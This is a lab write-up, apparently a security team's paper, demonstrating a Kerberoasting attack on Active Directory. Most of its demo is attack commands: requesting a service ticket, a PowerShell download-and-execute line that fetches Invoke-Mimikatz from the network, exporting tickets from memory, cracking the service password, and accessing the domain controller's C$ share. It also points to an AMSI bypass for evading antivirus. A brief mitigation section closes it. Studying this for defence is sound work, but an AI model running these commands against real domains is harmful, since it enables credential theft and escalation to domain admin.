Abusing Kerberos Kerberoasting
Abusing Kerberos Kerberoasting
Abusing Kerberos Kerberoasting
Abusing Kerberos:
Kerberoasting
Haboob Team
1 CONTENTS
1. Introduction………………………………………………………………………………………………………………. 2
2. How the attack work?......................................................................................................................... 2
3. What is kerberos? ............................................................................................................................... 3
4. What is SPN?................................................................................................................... 3
5. Kerberosting Demo. ............................................................................................................................ 4
7. Mitigation……………………………………………………………………………………………………………….. 10
8. References………………………………………………………………………………………………………………… 11
1|P age
1.INTRODUCTION
Kerberoasting is an effective method for extracting service account credentials
from Active Directory as a regular user without sending any packets to the target
system. What makes Kerberoasting great for the attackers is that the technique
isn’t breaking anything and technically it is not exploiting any part of the Kerberos
process. The technique is using Kerberos exactly the way it was designed to be
used. What made this tough for defenders was that the detections were difficult to
identify among normal Kerberos events.
In this paper I will be demoing Kerberoasting attack. I have setup a lab with
Windows Server 2012 (Domain Controller), Windows Server 2012 (MSSQL Server).
Two Clients running Windows 10 and Kali Linux (Attacker) in the same subnet.
2|P age
3. WHAT IS KERBEROS?
Kerberos is windows authentication protocol defines how clients interact with a
network authentication service. Clients obtain tickets from the Kerberos Key
Distribution Centre (KDC)which is usually the domain controller, and they present
these tickets to servers when connections are established. Kerberos tickets
represent the client's network credentials.
For more details:
https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-
kerberos
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2003/cc772815(v=ws.10)
4. WHAT IS SPN?
A service principal name (SPN) is a unique identifier of a service instance. SPNs are
used by Kerberos authentication to associate a service instance with a service
logon account. This allows a client application to request that the service
authenticate an account even if the client does not have the account name.
For more details: https://docs.microsoft.com/en-
us/windows/desktop/AD/service-principal-names
3|P age
5. KERBEROSTING DEMO.
In this Demo I will assume that we have an initial access to the target machine.
As you can see in the picture we have a PowerShell session with non-privileged
domain user “Bob” on Windows 10 machine.
4|P age
Here we are running “klist” command to check the current Kerberos tickets
available in this session.
As you can see there is no Kerberos tickets for this session.
Picture 2- klist
5|P age
From the previous command we’ve discovered a service account SPN:
MSSQLSERVER/SQL-Server.testdomain.com:1433
So let’s use PowerShell at this point in order to request a Kerberos service ticket with
this two commands:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "MSSQLSERVER/SQL-Server.testdomain.com:1433"
Running "klist" command again we can verify that the MSSQL service ticket has been
loaded into memory!
Picture 5 - klist
6|P age
Now what we want to do is loading Mimikatz in order to dump the ticket from
memory. We will use "Invoke-Mimikatz" from PowerSploit Repository.
Invoke-Expression (New-Object
Net.Webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafi
a/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Picture 6 – Invoke-Mimikatz
Note: loading Mimikatz with this method may get detected by an anti-virus. There
is many ways to bypass detection you can search it online but I would
recommend you reading this article AMSI Bypass With a Null Character.
7|P age
Remember all of the work we’ve did is with domain user account and does not
require any elevated privileges!
Now we’ve loaded Mimikatz and we did list Kerberos tickets available in memory
so let’s dump this ticket from RAM to disk using:
Invoke-Mimikatz –Command '" kerberos::list"' /export
8|P age
No we have the remote service ticket in our machine let’s try to crack it. We will use
“tgsrepcrack.py” script from Kerberoast Repository for cracking the remote service
account ticket.
python tgsrepcrack.py wordlist.txt 1-40a10000-Bob@MSSQLSERVER~SQL-
Server.testdomain.com~1433-TESTDOMAIN.COM.kirbi
Picture 9 - Cracking
As we can see the we’ve cracked the password of the service account "SQLSVC" which
is "Password1"
Now we’ve cracked the SQLSCV account password let’s see what privileges the service
account has by running:
net user SQLSVC /domain
9|P age
We’ve escalated our privilege from domain user to domain admin user!, let’s verify that
and try to connect to the DC with the credentials we’ve got and list the c: drive of the DC
net group "Domain Controllers" /domain
dir \\WIN-4QHPFSI8002\c$
7. MITIGATION
Because this attack is using Kerberos exactly the way it was designed to be. The best
mitigation for Kerberoasting attacks is to use complex passwords for the service
accounts that uses Kerberos with SPN values. In addition to configure the MSSQL or
any service in the domain without using domain admins privileges, which is hard for
lazy admins .
10 | P a g e
8. REFERENCES
https://adsecurity.org/?p=3458
https://www.trustedsec.com/2018/05/art_of_kerberoast/
https://leonjza.github.io/blog/2016/01/09/kerberos-kerberoast-and-golden-tickets/
11 | P a g e